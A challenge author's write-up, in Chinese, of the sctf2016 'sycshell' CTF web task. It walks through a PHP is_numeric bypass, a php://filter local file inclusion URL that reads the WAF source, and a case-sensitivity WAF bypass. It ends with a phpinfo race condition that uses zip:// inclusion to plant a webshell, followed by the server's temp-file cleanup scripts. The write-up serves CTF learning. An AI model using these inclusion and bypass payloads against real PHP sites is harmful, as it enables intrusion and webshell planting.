sctf2016_sycshell出题小结
0x01
tip:
<!-- 内部系统资料:http://sycshell.sycsec.com:61180/ -->
http://58.213.63.27:61180/phpinfo.php
对于企业那种,可能会在源码中看到一些虚拟主机配置后,在内网里面是使用hosts,由于没对其进行限制,可导致外网访问其内容
即修改一下本地的hosts:
58.213.63.27 sycshell.sycsec.com
0x02
tip:
一个图片地址
./image/
另外就是一个jsfuck编码
直接运行时弹框:
/NO TIP/
他的函数运行规则是,所以重在这个函数体
[]['sort']['constructor']('函数体')();
解法一:
<script>
alert(/\n(.+)/.exec(eval(prompt().slice(0,-2)))[1]);
</script>
解法二:
将最后两个()换成.toString()输出
解法三:
将函数体复制出来,像解正常的jsfuck一样
jsfuck详解:
http://drops.wooyun.org/web/4410
0x03
http://sycshell.sycsec.com:61180/W0Ca1N1CaiBuDa0/read.php
测试:php5.3.9 解题受版本影响
<?php
show_source(__FILE__);
$pass = @$_GET['pass'];
$a = "syclover";
strlen($pass) > 15 ? die("Don't Hack me!") : "";
if(!is_numeric($pass) || preg_match('/0(x)?|-|\+|\s|^(\.|\d).*$/i',$pass)){
die('error');
}
if($pass == 1 && $a[$pass] === "s"){
$file = isset($_GET['f']) ? $_GET['f'].'.php' : 'index.php';
@include $file;
}
大概思路就是要绕过is_numeric
,并且让$pass == 1 && $a[$pass] === "s"
,也就是要为1的时候又要在另外一种情况为0
1、is_numeric绕过
is_numeric实现代码,is_numeric对输入的参数,先做了样式判断如果是整型、浮点型就直接返回true,如果是字符串则进入is_numeric_string函数进行判断,然后这个函数是这样判断的。
关键代码:
END_API zend_uchar ZEND_FASTCALL _is_numeric_string_ex(......) /* {{{ */
{
......
/* Skip any whitespace
* This is much faster than the isspace() function */
while (*str == ' ' || *str == '\t' || *str == '\n' || *str == '\r' || *str == '\v' || *str == '\f') {
str++;
length--;
}
ptr = str;
if (*ptr == '-') {
neg = 1;
ptr++;
} else if (*ptr == '+') {
ptr++;
}
if (ZEND_IS_DIGIT(*ptr)) {
/* Skip any leading 0s */
while (*ptr == '0') {
ptr++;
}
....
for (type = IS_LONG; !(digits >= MAX_LENGTH_OF_LONG && (dval || allow_errors == 1)); digits++, ptr++) {
check_digits:
if (ZEND_IS_DIGIT(*ptr)) {
tmp_lval = tmp_lval * 10 + (*ptr) - '0';
continue;
} else if (*ptr == '.' && dp_or_e < 1) {
goto process_double;
} else if ((*ptr == 'e' || *ptr == 'E') && dp_or_e < 2) {
const char *e = ptr + 1;
if (*e == '-' || *e == '+') {
ptr = e++;
}
if (ZEND_IS_DIGIT(*e)) {
goto process_double;
}
}
break;
}
......
}
}
空格、\t、\n、\r、\v、\f、+、-能够出现在参数开头,“点”能够在参数任何位置,E、e只能出现在参数中间。
所以主要来看看这个正则:
preg_match('/0(x)?|-|\+|\s|^(\.|\d).*$/i',$pass)
对0、0x、0X、-、+、空白字符(也就是\v\t那些)、以.或者以数字开头的,都会被拦截
php5,3,29,这里可以直接用%0b绕过\s的匹配
更多参考:
http://zone.wooyun.org/content/24075
http://zone.wooyun.org/content/23961
2、$pass == 1 && $a[$pass] === "s"
感觉是不可能,因为要$pass=1又要=0
但是有个这样的小trick
$a="syclover"
$a['a']
如果是字符串,也就是a的时候,offset取值的时候会转化为整数,也就是0
https://github.com/80vul/phpcodz/blob/master/research/pch-009.md
所以综上可以有两种做法:
1、很多9的时候,php精度问题,最后会转化为1
%0b.99999999999999999999999999999999
2、这个就是利用e科学计数法来使得为1
%0b.1e1
然而.
又是属于字符串,前面的%0b会忽略掉,所以\(a['.1e1']就是\)a[0]
最后我是限制了pass的长度,所以第一种解法是不行的
0x04
$file = isset($_GET['f']) ? $_GET['f'].'.php' : 'index.php';
@include $file;
一个包含,可控名,但是后面有一个.php,最后我也是给出一个phpinfo地址,所以就很明确了。
通过phpinfo上传文件,得到临时文件,然后利用竞争去包含(我做了处理,1s删一次文件)
但是在phpinfo可以看到
auto_prepend_file /home/wwwroot/waf.php
也就是任何php运行前都会加载这个
http://sycshell.sycsec.com:61180/W0Ca1N1CaiBuDa0/read.php?pass=%0b.1e1&f=php://filter/convert.base64-encode/resource%3D/home/wwwroot/waf
读取一下waf内容
<?php
if(isset($_GET['f']) && preg_match("/zip|phar/",$_GET['f'],$array)){
die("SycWaf: Don't Hack me!");
}
其中preg_match并没有进行i模式,也就是对大小写敏感,所以直接ZIP可绕过
所以最后也就是通过phpinfo竞争上传一个zip临时文件,然后再通过zip协议包含(phar协议好像也行),生成一个shell
shell地址可以是/tmp或者一开始的./image下面,其他地方并没有权限
0x05
记录一下服务器对tmp文件缓删过程
禁删
./inotifywait -mq -e create --timefmt '%y-%m-%d %H:%M' --format '%w%f' --exclude "^/tmp/[^(php)]" /tmp/ | while read file
do
chattr +i ${file}
echo 1
done
删除
chattr -i /tmp/php*;rm -f `ls /tmp/php* | egrep -v php-cgi.sock`
后台运行
nohup watch -n 1 ./rm.sh >/dev/null &
nohup ./inotifywait.sh >/dev/null &